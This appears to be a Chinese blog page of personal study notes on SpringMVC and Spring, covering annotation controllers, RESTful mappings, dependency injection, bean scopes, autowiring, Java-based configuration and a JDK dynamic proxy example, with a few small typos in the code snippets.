<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:context="http://www.springframework.org/schema/context"
      xmlns:mvc="http://www.springframework.org/schema/mvc"
      xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/context
       https://www.springframework.org/schema/context/spring-context.xsd
       http://www.springframework.org/schema/mvc
       https://www.springframework.org/schema/mvc/spring-mvc.xsd">

   <!-- 自动扫描包，让指定包下的注解生效,由IOC容器统一管理 -->
   <context:component-scan base-package="com.kuang.controller"/>
   <!-- 让Spring MVC不处理静态资源 css js html mp3 mp4-->
   <mvc:default-servlet-handler />
   <!--
   支持mvc注解驱动
       在spring中一般采用@RequestMapping注解来完成映射关系
       要想使@RequestMapping注解生效
       必须向上下文中注册DefaultAnnotationHandlerMapping
       和一个AnnotationMethodHandlerAdapter实例
       这两个实例分别在类级别和方法级别处理。
       而annotation-driven配置帮助我们自动完成上述两个实例的注入。
    -->
   <mvc:annotation-driven />

   <!-- 视图解析器 -->
   <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"
         id="internalResourceViewResolver">
       <!-- 前缀 -->
       <property name="prefix" value="/WEB-INF/jsp/" />
       <!-- 后缀 -->
       <property name="suffix" value=".jsp" />
   </bean>

</beans>

这几个配置文件以后就不可能动了！！！

HelloController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller //自动被扫描，不用在xml注册了
@RequestMapping("/mvc")
public class HelloController {

    @RequestMapping("/hello") //使用hello请求,路径……/mvc/hello
    public String hello(Model model) {
        //封装数据
        model.addAttribute("msg","Hello,SpringMVCAnnotation!")
        return "hello";//会被视图解析器自动处理
    }
}

hello.jsp

1
2
3
4
5
6
7
8
9
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
${msg}
</body>
</html>

然后就收工了，真就傻子编程了

传统方式：
GET传参：访问http://localhost:8080/springmvc_03_annotation_war_exploded/add?a=1&b=2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class RestFulController {
    @RequestMapping("/add")
    public String test1(int a, int b, Model model){
        int res=a+b;
        model.addAttribute("msg","结果为"+res);
        return "test";
    }
}

RestFul风格：
（感觉这就是ssrf漏洞的源头）
访问http://localhost:8080/springmvc_03_annotation_war_exploded/add/1/2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class RestFulController {
    @RequestMapping("/add/{a}/{b}")
    public String test1(@PathVariable int a,@PathVariable  int b, Model model){
        int res=a+b;
        model.addAttribute("msg","结果为"+res);
        return "test";
    }
}

POST请求：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

@Controller
public class RestFulController {
    @RequestMapping(value ="/add/{a}/{b}",method = RequestMethod.POST) //或者简化成@PostMapping("/add/{a}/{b}")
    public String test1(@PathVariable int a,@PathVariable  int b, Model model){
        int res=a+b;
        model.addAttribute("msg","结果为"+res);
        return "test";
    }
}

这个就能造成url相同的情况下GET和POST的内容不一样

转发（url不变，但是会打印目标文件的内容）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller //自动被扫描，不用在xml注册了
@RequestMapping("/mvc")
public class HelloController {

    @RequestMapping("/hello") //使用hello请求
    public String hello(Model model) {
        model.addAttribute("msg","ModelTest1");
        return "/test";//会被视图解析器自动处理，或者return "forward:/WEB-INF/jsp/test.jsp";
}

重定向（url会变，但是WEB-INF的文件不能被重定向）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.kuang.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller //自动被扫描，不用在xml注册了
@RequestMapping("/mvc")
public class HelloController {

    @RequestMapping("/hello") //使用hello请求
    public String hello(Model model) {
        model.addAttribute("msg","ModelTest1");
        return "redirect:/index.jsp";//会被视图解析器自动处理
    }
}

接收请求参数和数据回显：
导包：

1
2
3
4
5
6
7
<dependencies>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
        <version>1.18.22</version>
    </dependency>
</dependencies>

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.kuang.pojo;


import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@AllArgsConstructor //有参
@NoArgsConstructor //无参
public class User {
    private  int id;
    private String name;
    private String age;
}

UserController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.kuang.controller;

import com.kuang.pojo.User;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/user")
public class UserController {
    @GetMapping("/t1")
    public String test1(String name, Model model){
        //1.接收前端参数
        System.out.println("接收到前端的参数为："+name);
        //2.将返回的结果传递给前端
        model.addAttribute("msg",name);
        //3.试图跳转
        return "test";
    }

    //前端接收的是一个对象
    @GetMapping("t2")
    public String test2(User user){
        System.out.println(user);
        return "test";
    }
}

访问：http://localhost:8080/springmvc_03_annotation_war_exploded/user/t1?name=1
http://localhost:8080/springmvc_03_annotation_war_exploded/user/t2?user=1&age=2&id=3

代码不明白就去找官网使用文档，官网使用文档没说就去找它的开源项目，开源项目还没有讲明白就发个issue说“我在这发现了个bug”，很快就会有人和你讲明白

JSON：
前端框架：layui（真就用js写数据库，全都存前端，演示网址：https://www.layuiweb.com/demo/index.htm）

展开全文 >>

spring笔记

Spring的创始人是个音乐学博士

优点：开源的免费框架、轻量级的非入侵式的框架、控制翻转（IOC）面向切面编程（AOP）、支持事务的处理、对框架整合的支持

组成：
Core AOP ORM DAO Web Context WebMVC

Spring Boot：一个快速开发的脚手架，基于SpringBoot可以快速开发翻个微服务
Spring Cloud：基于SpringBoot实现的
学习SpringBoot的前提是完全掌握Spring和SpringMVC

弊端：发展了太久，违背了原来的理念！配置十分繁琐，人称：配置地狱

2、IOC理论推导
（1）UserDao接口
（2）UserDaoImpl实现类
（3）UserService业务接口
（4）UserServiceImpl业务实现类

在我们之前的业务中，用户的需求可能会影响我们原来的代码，我们需要根据用户的需求去修改源代码！如果程序代码量十分大，修改一次的成本代价十分昂贵！

我们使用一个set接口实现：

1
2
3
4
5
6
public UserDao userDao;

//利用set进行动态实现值的注入
public void setUserDao(UserDao userDao) {
    this.userDao = userDao;
}

之前程序是主动常见对象！控制权在程序员手上！
使用了set注入后，程序不在具有主动性，而是变成更了被动的接受对象！
这种思想从本质上解决了问题，我们程序员不用再去管理对象的创建了。系统的耦合性大大降低，可以更加专注在业务的实现上！这是IOC的原型！

最大的不同：没有new了！（通过set自动实现了）（所以以前有些代码看不懂）

导入jar包：

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>5.3.16</version>
</dependency>

在resources中创建beans.xml(直接“新建xml”–“spring”)

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

</beans>

最终结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!--使用Spring来创建对象，在Spring中这些被称为Bean
	bean=对象（new Hello()）
	id=变量名
	class=new的对象
	property相当于给对象中的属性设置一个值
	value是指代具体的值（基本数据类型），如果要引用对象就用ref
	本质是利用set方法注入，然后直接实例化所有beans！！！！！
    -->
    <bean id="hello" class="com.kuang.pojo.Hello">
        <property name="str" value="Spring"/>
    </bean>
</beans>

Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.kuang.pojo;

public class Hello {
    private String str;

    public String getStr() {
        return str;
    }

    public void setStr(String str) {
        this.str = str;
    }

    @Override
    public String toString() {
        return "Hello{" +
                "str='" + str + '\'' +
                '}';
    }
}

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.kuang.pojo.Hello;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {
    public static void main(String[] args) {
        //获取Spring的上下文对象
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        //我们的对象现在都在Spring中管理了，我们要使用直接去里面取就可以了
        Hello hello=(Hello) context.getBean("hello");
        System.out.println(hello);
    }
}

结果是输出Hello{str=’Spring’}

读代码技巧：导入idea之后左边有个黄色的圆中间有个叶子就说明这个类被spring托管了，找实例化就要按spring的方式，而不是new！！！

可以尝试追ClassPathXmlApplicationContext的代码，会发现前面有六七层继承才到ApplicationContext，想追到底后面还有
没学过spring之前做题硬读过spring代码，结果追这玩意追了一下午发现卵用没有就放弃了

有参构造：
Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.kuang.pojo;

public class Hello {
    private String str;

    public Hello(String str,int a){
        this.str=str;
        System.out.println(a);
    }

    public String getStr() {
        return str;
    }

    public void setStr(String str) {
        this.str = str;
    }

    @Override
    public String toString() {
        return "Hello{" +
                "str='" + str + '\'' +
                '}';
    }
}

方法一(下标赋值)：
一般使用这种方法是没有构造器的情况

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!--第一种，下标赋值（0的意思是第一个参数:str）-->
    <bean id="hello" class="com.kuang.pojo.Hello">
        <constructor-arg index="0" value="狂神说Java"/>
        <constructor-arg index="1" value="123"/>
    </bean>
</beans>

输出为

1
2
123
Hello{str='狂神说Java'}

方法二（类型赋值）：
坏处，如果有两个及以上相同类型的参数就会报错（比如两个String），不建议使用！

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    
    <bean id="hello" class="com.kuang.pojo.Hello">
        <constructor-arg type="java.lang.String" value="狂神说Java"/>
        <constructor-arg type="int" value="123"/>
    </bean>
</beans>

方法三(直接通过参数名设置)：

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="hello" class="com.kuang.pojo.Hello">
        <constructor-arg name="str" value="java"/>
        <constructor-arg name="a" value="123"/>
    </bean>
</beans>

5、Spring配置
bean
beans
alias
description（描述，没什么用）
import

5.1 别名（alias）

1
<alias name="hello" alias="hello1"/>

然后就可以用hello1代指hello进行操作了（hello也能用）

5.2 bean的配置
id：bean的唯一标识符，也就是相当于我们学的对象名
class：bean对象所对应的全限定名：报名+类型
name：也是别名（可以代指原来的id），相当于alias，可以通过空格、逗号、分号分割创建多个别名

5.3 import
一般用于团队开发使用，它可以将多个配置文件，导入合并为一个
利用import将所有人的beans.xml合并为一个总的

6、依赖注入
6.1 构造器注入
6.2 Set方式注入
依赖：bean对象的创建依赖于容器
注入：bean对象的所有属性，由容器来注入
Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.kuang.pojo;

import java.util.*;

public class Student {
    private String name;
    private Addresss address;
    private String[] books;
    private List<String> hobbies;
    private Map<String,String> card;
    private Set<String> games;
    private Properties info;
    private  String wife;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Addresss getAddress() {
        return address;
    }

    public void setAddress(Addresss address) {
        this.address = address;
    }

    public String[] getBooks() {
        return books;
    }

    public void setBooks(String[] books) {
        this.books = books;
    }

    public List<String> getHobbies() {
        return hobbies;
    }

    public void setHobbies(List<String> hobbies) {
        this.hobbies = hobbies;
    }

    public Map<String, String> getCard() {
        return card;
    }

    public void setCard(Map<String, String> card) {
        this.card = card;
    }

    public Set<String> getGames() {
        return games;
    }

    public void setGames(Set<String> games) {
        this.games = games;
    }

    public Properties getInfo() {
        return info;
    }

    public void setInfo(Properties info) {
        this.info = info;
    }

    public String getWife() {
        return wife;
    }

    public void setWife(String wife) {
        this.wife = wife;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", address=" + address.toString() +
                ", books=" + Arrays.toString(books) +
                ", hobbies=" + hobbies +
                ", card=" + card +
                ", games=" + games +
                ", info=" + info +
                ", wife='" + wife + '\'' +
                '}';
    }
}

Address.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.kuang.pojo;

public class Addresss {
    private String address;

    public String getAddress() {
        return address;
    }

    public void setAddress(String address) {
        this.address = address;
    }

    @Override
    public String toString() {
        return "Addresss{" +
                "address='" + address + '\'' +
                '}';
    }
}

beans.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="address" class="com.kuang.pojo.Addresss"/>
    <bean id="student" class="com.kuang.pojo.Student">
        <!--第一种，普通值注入，直接用value-->
        <property name="name" value="scr"/>
        <!--第二种，bean注入，ref-->
        <property name="address" ref="address"/>
        <!--数组注入，ref-->
        <property name="books">
            <array>
                <value>红楼梦</value>
                <value>西游记</value>
                <value>水浒传</value>
                <value>三国演义</value>
            </array>
        </property>
        <!--List-->
        <property name="hobbies">
            <list>
                <value>听歌</value>
                <value>看电影</value>
                <value>敲代码</value>
            </list>
        </property>
        <!--Map-->
        <property name="card">
            <map>
                <entry key="身份证" value="111"/>
                <entry key="银行卡" value="222"/>
            </map>
        </property>
        <!--Set-->
        <property name="games">
            <set>
                <value>LOL</value>
                <value>COC</value>
                <value>BOB</value>
            </set>
        </property>
        <!--None-->
        <property name="wife">
            <null/>
        </property>
        <!--Properties
        key=value-->
        <property name="info">
            <props>
                <prop key="学号">2022</prop>
                <prop key="性别">男</prop>
                <prop key="姓名">scr</prop>
            </props>
        </property>
    </bean>
</beans>

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.kuang.pojo.Student;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {
    public static void main(String[] args) {
        //获取Spring的上下文对象
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        //我们的对象现在都在Spring中管理了，我们要使用直接去里面取就可以了
        Student student = (Student) context.getBean("student");
        System.out.println(student.toString());

    }
}
输出：Student{name='scr', address=Addresss{address='j'}, books=[红楼梦, 西游记, 水浒传, 三国演义], hobbies=[听歌, 看电影, 敲代码], card={身份证=111, 银行卡=222}, games=[LOL, COC, BOB], info={姓名=scr, 学号=2022, 性别=男}, wife='null'}


另：这就是传说中的“配置地狱”

6.3 拓展方式注入（需要先导入约束）
p命名空间
c命名空间
User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.kuang.pojo;

public class User {
    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public User() {
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

导入包：

1
2
3
4
5
<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.13.2</version>
</dependency>
p命名空间：
添加```xmlns:p="http://www.springframework.org/schema/p"```

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!--p命名空间注入，可以直接注入属性的值：properties的作用!-->
    <bean id="user" class="com.kuang.pojo.User" p:name="scr" p:age="18">

    </bean>
</beans>
c命名空间：
添加```xmlns:c="http://www.springframework.org/schema/c"```

1
2
3
4
<!--c命名空间注入，通过构造器注入：construct-args-->
<bean id="user" class="com.kuang.pojo.User" c:name="scr" c:age="18" >

</bean>

6.4 bean的作用域
scope参数

1
2
3
<bean id="user" class="com.kuang.pojo.User" c:name="scr" c:age="18" scope="">

    </bean>

singleton（默认）
单例模式

1
2
3
4
5
6
//获取Spring的上下文对象
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        //我们的对象现在都在Spring中管理了，我们要使用直接去里面取就可以了
        User user = context.getBean("user",User.class);
        User user2 = context.getBean("user",User.class);
        System.out.println(user==user2);

返回值为true
虽然拿出对象是多个，但是指向同一个实体类

prototype
原型模式

1
2
3
<bean id="user" class="com.kuang.pojo.User" c:name="scr" c:age="18" scope="prototype">

</bean>
1
2
3
4
5
6
//获取Spring的上下文对象
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        //我们的对象现在都在Spring中管理了，我们要使用直接去里面取就可以了
        User user = context.getBean("user",User.class);
        User user2 = context.getBean("user",User.class);
        System.out.println(user==user2);

返回值为false，两个对象不一样，每次从容器中get的时候都会产生一个新对象（地址不一样）

其余的request，session，application这些只能在web开发中使用到

7、Bean的自动装配
自动装配是Spring满足bean依赖的一种方式
Spring会在上下文中自动寻找，并自动给bean装配属性

在Spring中有三种自动装配的方式：
（1）在xml中显示的配置
（2）在java中显示配置
（3）隐式的自动装配bean

7.1 测试
Cat.class

1
2
3
4
5
6
7
package com.kuang.pojo;

public class Cat {
    public void shout(){
        System.out.println("miao");
    }
}

Dog.class

1
2
3
4
5
6
7
package com.kuang.pojo;

public class Dog {
    public void shout(){
        System.out.println("wang");
    }
}

People.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.kuang.pojo;

public class People {
    private Cat cat;
    private Dog dog;
    private String name;

    @Override
    public String toString() {
        return "People{" +
                "cat=" + cat +
                ", dog=" + dog +
                ", name='" + name + '\'' +
                '}';
    }

    public Cat getCat() {
        return cat;
    }

    public void setCat(Cat cat) {
        this.cat = cat;
    }

    public Dog getDog() {
        return dog;
    }

    public void setDog(Dog dog) {
        this.dog = dog;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

beans.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="cat" class="com.kuang.pojo.Cat"/>
    <bean id="dog" class="com.kuang.pojo.Dog"/>

    <bean id="people" class="com.kuang.pojo.People">
        <property name="name" value="狂神"/>
        <property name="dog" ref="dog"/>
        <property name="cat" ref="cat"/>
    </bean>
</beans>

MyTest.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.kuang.pojo.People;
import org.junit.Test;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyRest {
    @Test
    public void test1(){
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        People people=context.getBean("people",People.class);
        people.getDog().shout();
        people.getCat().shout();
    }
}

7.2 ByName自动装配
byname:会自动在容器上下文中查找，和自己对象set方法后面的值对应的beanid
beans.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="cat" class="com.kuang.pojo.Cat"/>
    <bean id="dog" class="com.kuang.pojo.Dog"/>

    <bean id="people" class="com.kuang.pojo.People" autowire="byName">
        <property name="name" value="狂神"/>
    </bean>
</beans>

7.3 ByType
byname:会自动在容器上下文中查找，和自己对象属性类型相同的beanid（必须保证这个类型只有一个）

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="cat" class="com.kuang.pojo.Cat"/>
    <bean id="dog111" class="com.kuang.pojo.Dog"/>

    <bean id="people" class="com.kuang.pojo.People" autowire="byType">
        <property name="name" value="狂神"/>
    </bean>
</beans>

7.4 注解
jdk1.5支持注解
spring2.5支持注解

1.导入约束：context约束
2.配置注解的支持：
xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context.xsd">
    <context:annotation-config/>
</beans>

@Autowired直接在属性上用即可（连set方法都可以去掉，利用反射，前提是这个自动装配的属性在IOC（SpRing）中创业板在，且名字符合byname（或bytype，会先找bytype，然后找byname））

People.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.kuang.pojo;

import org.springframework.beans.factory.annotation.Autowired;

public class People {
    
    @Autowired
    private Cat cat;
    private Dog dog;
    private String name;

    @Override
    public String toString() {
        return "People{" +
                "cat=" + cat +
                ", dog=" + dog +
                ", name='" + name + '\'' +
                '}';
    }

    public Cat getCat() {
        return cat;
    }

    public void setCat(Cat cat) {
        this.cat = cat;
    }

    public Dog getDog() {
        return dog;
    }

    public void setDog(Dog dog) {
        this.dog = dog;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

beans,xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context.xsd">

    <context:annotation-config/>

    <bean id="cat" class="com.kuang.pojo.Cat"/>
    <bean id="dog" class="com.kuang.pojo.Dog"/>

    <bean id="people" class="com.kuang.pojo.People" autowire="byType"/>
</beans>

科普：
@Nullable 字段标记了这个注解，说明这个字段可以为null
@Autowired(required = false) 如果显示定义了Autowired的required属性为false，说明这个队形可以为null，否则不允许为空

8.使用注解开发
在spring4之后要使用注解开发，必须要保证aop的包导入了
使用注解需要导入context约束，增加注解支持
1.bean
2.属性如何注入
3.衍生的注解
4.自动装配
5.作用域
6.小结

applicationContext.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context.xsd">

    <!--指定要扫描的包，这个包下的注解就会生效-->
    <context:component-scan base-package="com.kuang.pojo"
    <context:annotation-config/>

</beans>

User.java

1
2
3
4
5
6
7
8
9
package com.kuang.pojo;

import org.springframework.stereotype.Component;

//等价于<bean id="user" class="com.kuang.pojo.User"/>
@Component
public class User {
    public String name = "scr";
}

9.使用java的方式配置Spring
完全不使用Spring的xml配置，全权交给Java来做
JavaConfig是Spring的一个子项目，在Spring4之后他成为了一个核心功能

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.kuang.pojo;

import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

//@Component这个注解的意思，就是说明这个类被Spring接管了，注册到容器中
@Component
public class User {
    private String name;

    public String getName() {
        return name;
    }

    @Value("SCR") //属性注入值
    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}

KuangConfig.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.kuang.config;

import com.kuang.pojo.User;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration//这个也会被Spring容器托管，注册到容器中，以为他本身就是一个@Component，@Configuration代表这是一个配置类，就和我们之前的beans.xml一样
@ComponentScan("com.kuang.pojo") //扫描pojo文件夹下的所有东西（这里可以省略）
public class KuangConfig {
	//注册一个bean，就相当于之前的bean标签
	//这个方法的名字，就相当于bean标签中的id属性
	//这个方法的返回值，就相当于bean标签中的class属性
    @Bean
    public User getUser(){
        return new User();
    }
}

MyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.kuang.config.KuangConfig;
import com.kuang.pojo.User;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class MyTest {
    public static void main(String[] args) {
    	//如果完全使用了配置类方式去做，我们就只能通过AnnotationConfig上下文来获取容器，通过配置类的class对象加载
        ApplicationContext context = new AnnotationConfigApplicationContext(new Class[]{KuangConfig.class});
        User getUser = (User)context.getBean("getUser");
        System.out.println(getUser.getName());
    }
}

这种纯Java的配置方式，在SpringBoot中随处可见

10.代理模式
为什么要学习代理模式？因为这是SpringAOP的底层（SPringAOP，SPringMVC）
代理模式分类：
静态代理
动态代理：分为两大类：基于接口，基于类
基于接口—JDK动态代理（我们在这里使用）
基于类：cglib
java字节码实现：javassist

需要了解两个类：proxy，InvocationHandler：调用处理程序

Host.java

1
2
3
4
5
6
7
package com.kuang.demo03;

public class Host implements Rent {
    public void rent() {
        System.out.println("chuzu");
    }
}

Rent.java

1
2
3
4
5
package com.kuang.demo03;

public interface Rent {
    public void rent();
}

ProxyInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.kuang.demo03;

import com.kuang.demo01.Rent;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

//我们会用这个类自动生成代理
public class ProxyInvocationHandler implements InvocationHandler {
    //被代理的接口
    private Rent rent;

    public void setRent(Rent rent) {
        this.rent = rent;
    }

    //生成得到代理对象
    public Object getProxy(){
        return Proxy.newProxyInstance(this.getClass().getClassLoader(),rent.getClass().getInterfaces(),this);
    }


    //处理代理示例，并返回结果
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //动态代理的卑职就是使用反射机制实现的
        Object result = method.invoke(rent, args);
        return result;
    }
}

Client.java

1
2
3
4
5
6
7
8
9
10
11
12
